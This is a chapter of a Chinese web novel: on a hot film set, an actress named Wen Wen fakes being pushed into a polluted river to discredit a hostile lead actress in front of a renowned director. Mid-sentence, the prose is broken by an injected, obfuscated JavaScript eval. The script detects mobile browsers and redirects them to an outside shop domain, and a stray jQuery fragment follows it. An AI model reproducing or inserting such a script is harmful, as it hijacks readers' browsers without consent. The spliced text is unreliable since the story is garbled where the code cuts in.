“吱——”
蝉鸣阵阵。
太阳晒得人睁不开眼。
一座毫无树荫遮挡的石桥上。
汗水冲刷着温温的眉睫,使她脸上泛起些许刺痛。
四周静静的。
全是蔫耷耷的叹息声。
与温温同样热得发晕的,还有两百来号人。
但不同的是。
他们像是望夫石般,苦苦望着石桥尽头的一辆房车。
或蹲或站的人群中,独有一名三十五六岁的清丽女人,坐在折叠小凳上。
她实在忍不住地低骂了句,“她到底还要我们等多久?!”
吱呀。
话落,远处房车里跑出一个满面倦色的小姑娘。
众人的眼睛亮了。
小姑娘却是气喘吁吁地道:“对不起导演,怦然老师还是头晕,要再休息会儿。”
四下一片唉声叹气。
这是一个电影剧组。
女主是怦然。
这几百人,都是在等待怦然开拍下一场戏。
导演白昼,霍地从折叠凳上站起身,“休息休息!她一天要歇多少回?!”
“这都超出原本的拍摄时长两个月了!”
怦然的助理局促地绞着手,只是一味道歉,重复道:“怦、怦然老师说,超出的部分,她会付赔款的。”
白昼气极,“算了,我不为难你。”
“我自己去找怦然。”
走之前,白昼的视线,掠过热得七荤八素的众人,落在温温脸上。
温温的神情,好似在空调房里般平心静气。
身边的小助理,替温温打着遮阳伞。
但这天儿太热了。
温温依旧经历着脱妆、补妆的循环,脸蛋几乎被化妆师用粉扑拍扁。
白昼心疼道:“你的脸还疼不疼?这么反复补妆,太伤皮肤了。等怦然来了再弄吧。”
温温乖巧一笑,声音爽冽,听得人暑气顿消,“我没事的,导演。”
温温很感谢白昼,给她这个拍戏的机会。
《莺花》录制结束后。
她与二十万失之交臂。
经纪人那儿,又没什么工作资源可以分配给她。
她为留学费用的事,焦虑得整夜失眠。
这时候,《莺花》决赛上,唯一一个给她投了票的女导演,白昼,联系上了她,问她要不要来演个女三号。
这位白昼导演,擅长拍女性题材,水平高,又耐得住性子打磨作品,绝不恰烂钱,口碑极佳。
连怦然之前数次想请她导戏,都没成功。
温温自是喜得应下。
可惜,脚踏实地的创作人,终究是败给了资本家。
温温进组没几天,就发现制片人与夏氏同流合污,强行命令白昼,将女主角换成了怦然。
剧组里别的人倒还好。
温温就倒霉了。
自综艺一事以来,也不知怦然是哪根筋搭错,看温温的眼神,似是要将她生吞活剥一般。
拍戏时,屡屡刁难于她。
前不久,一场怦然坐在屋内、温温站在室外的戏份时,怦然还故意ng了三个小时,直让温温脸上晒得红肿蜕皮,两周都没缓过来。
见温温毫无怨色,白昼愈发语气和软,“别逞强。”
温温笑了笑,“我真没事,您快去吧,早些将怦然老师劝来,大家伙也好早些收工。”
不是温温装好人。
她是真不在意。
今天,是温温最后一场戏。
她申请考研的一切手续,都已完毕,片酬也早早拿到了,只等着下下周在国外考试即可。
温温甚至迫不及待地定了明天的机票,要提前去往国外,尽情放飞自我。
她现在高兴得能穿着草裙,跳三天三夜的肚皮舞呢。
又怎会在意小小的酷热?
白昼点点头,与怦然的助理一道儿,去了怦然房车内。
温温脑袋上的伞影摇了摇。
见人走远,温温身侧,一名替她打着伞的、眉目间透着机灵劲儿的小姑娘,把小脑袋靠了过来,暗戳戳问温温,“月梢老师,您说,导演这回能把那位大小姐劝过来么?”
温温拿出手机,给考研的导师发着消息,漫不经心道:“会的。”
潋星影视给温温分配的跟组小助理,山樱,又追问道:“您就这么肯定?”
温温指尖一顿。
左右要走了,她素来谨慎的性子,也有些宽疏起来,如实道:“我听说,怦然一直想参与李观书导演的戏。”
“今天,李导演会来片场看她。”
李观书是一名获得过各类国际电影奖的华裔导演。
其在业界的分量,便是白昼,也远不可同日而语。
山樱张大嘴,“这您都知道?”
温温没说话。
以她的身份,自是不知道的。
但夏滢知道。
自《莺花》结束的这半年来,夏滢天天给她发乱七八糟的自拍,会议厅里的、累得吐魂的、甚至是泡澡时的……
照片后,顺带附上些“哥哥好坏,给我塞了一大堆工作,忙得我呼吸的时间都要没有了,好想找温温玩哦~”之类的话。
温温本不想搭理,夏滢竟还拿雨天拍的那个视频,威胁她陪他聊天。
李观书的事,就是夏滢告诉温温的。
见温温不答,山樱也没追着不放,一个人碎碎念道:“哼,就她的演技,还想霍霍李导演?呸!”
温温抬头,好笑道:“你这么仇恨怦然?”
“她不就是在请剧组喝奶茶的时候,让助理把你的那杯撞翻了么。我都给你补了十来杯了。”
李观书恶狠狠道:“是冰奶茶!”
“而且,上次我还听到,她吩咐助理,把未成年粉丝辛苦攒钱送她的包,剪碎扔掉呢!说什么,这种货色,她一辈子都不会用。”
温温疑惑:“为什么要剪碎?”
山樱撇撇嘴,“还能为什么?她自己不要的东西,也不许别人捡漏。她怕她那助理,私下把包拿去用了或是卖掉呗!”
温温:“……”
吱呀。
远处,房车门开,白昼与怦然一同下来。
山樱惊道:“还真被您说中了!”
她对温温咬耳朵道:“月梢老师,您可要小心点。上回,这大小姐还和导演说,要把今天的戏,改成把您推到这河里去呢。大家都听到了。”
温温等人所在的石桥下,是一条飘满了石油似的黏稠污斑的河。
——曾有剧组为了拍摄效果,往河里倒化学试剂。
这河闻着倒还好,可若是真下到河里去,不搓下一层皮,休想洗干净身上的脏东西。
温温把手机放在常用的小包里,递给山樱保管,露出一个绵长的微笑,“大家都听到了才好呀。”
山樱:“啊?”
在导演的三催四请中,怦然终于不情不愿地来到桥上。
温温的最
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12792773|131564||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
后一场戏份,开始了。
温温是非科班出身,但许是因为吃足了生活的苦,在白昼的指导下,演得倒还比怦然好上不少。
不怎么ng。
不过今天。
她却是ng连连。
几次下来,怦然心烦气躁,原本没错的地方,也被温温带得出了差错。
她声音尖厉,“你是不是故意的?!这么热的天,你晒得起,我还晒不起呢!”
温温还想再拖一会儿,目光一瞥,却是闭上了嘴。
——李观书到了。
李观书是个头发花白的老爷子,虽是到了片场,却没有打扰剧组的意思,只远远地站在树荫里。
并没和怦然打招呼。
温温见好就收,正常演起戏来。
这是场女主与女三吵架推搡的戏。
原本,温温被一把推在地上,就算戏份结束。
然而,下一秒。
“噗通——”
怦然愣愣看着自己空空的掌间。
“月梢被推下去了!”
“谁会游泳,快下去救人!”
四周脚步声、惊呼声杂遝。
片刻后,怦然反应过来,“不是我推她的!她游泳可厉害了!你们被骗了!”
温温刻意装作溺水般,扑腾了一会儿,渐渐沉入水中,才被工作人员救了上来。
怦然还在向周围解释着,一转头,却发现李观书不知何时到了,脸色煞白。
怦然解释得嘴皮都要起火星子。
可没人信她。
这几个月里,她对温温明里暗里的欺压,说是恶婆婆磋磨小媳妇也不为过。
甚至,周围人都是一副敢怒不敢言的表情。
李观书活了这么些年,什么场面没见过,什么人摸不透,一看周围人的反应,就明白怦然素日的做派了。
他捋了捋花白的胡子,用口音不太标准的中文道:“怦然小姐,气性有些大啊。”
“拍戏是团队合作,您这样,可是拍不好戏的。”
怦然又急又气,暗暗掐着温温的手臂,笑道:“我怎么会推你呢?你快解释一下。”
“别忘了,你还是潋星的艺人呢。”
由于怦然拖得时间太长,温温在潋星的合同,早在一个月前就到期了。
温温裹在毛巾毯,畏惧地看了怦然一眼,瑟瑟发抖道:“嗯、嗯!不是怦然老师推的我!大家都误会了。”
可是,从众人的角度看,就是怦然推的温温。
温温算的角度很准。
除非,是从石桥旁的佛塔上俯瞰,才能勉强看出一丝端倪。
但她来时就检查过了。
由于剧组清场,佛塔里根本没人。
但凡有点儿话语权的导演,都极厌恶事儿妈演员。
李观书登时起了身,“抱歉,怦然小姐,我还有事,下次再约吧。”
与此同时。
温温的戏份也算杀青了,顶着一身黑黝黝的化学油花,接过工作人员手中的花束,笑得灿烂,“谢谢大家几个月来的照顾。”
见温温若无其事地就要离开片场,怦然气得声音发颤,给助理使了个眼色拦人,“温!温!”
温温虽扳回了一局,心中却也没什么快意,正想说些什么。
一回眸,余光滑过石桥边的佛塔,却是浑身一僵。
高塔之上,檐角风铎,随风玎珰乱晃。
一道温温再熟悉不过的身影,在朱栏边默默不知看了多久。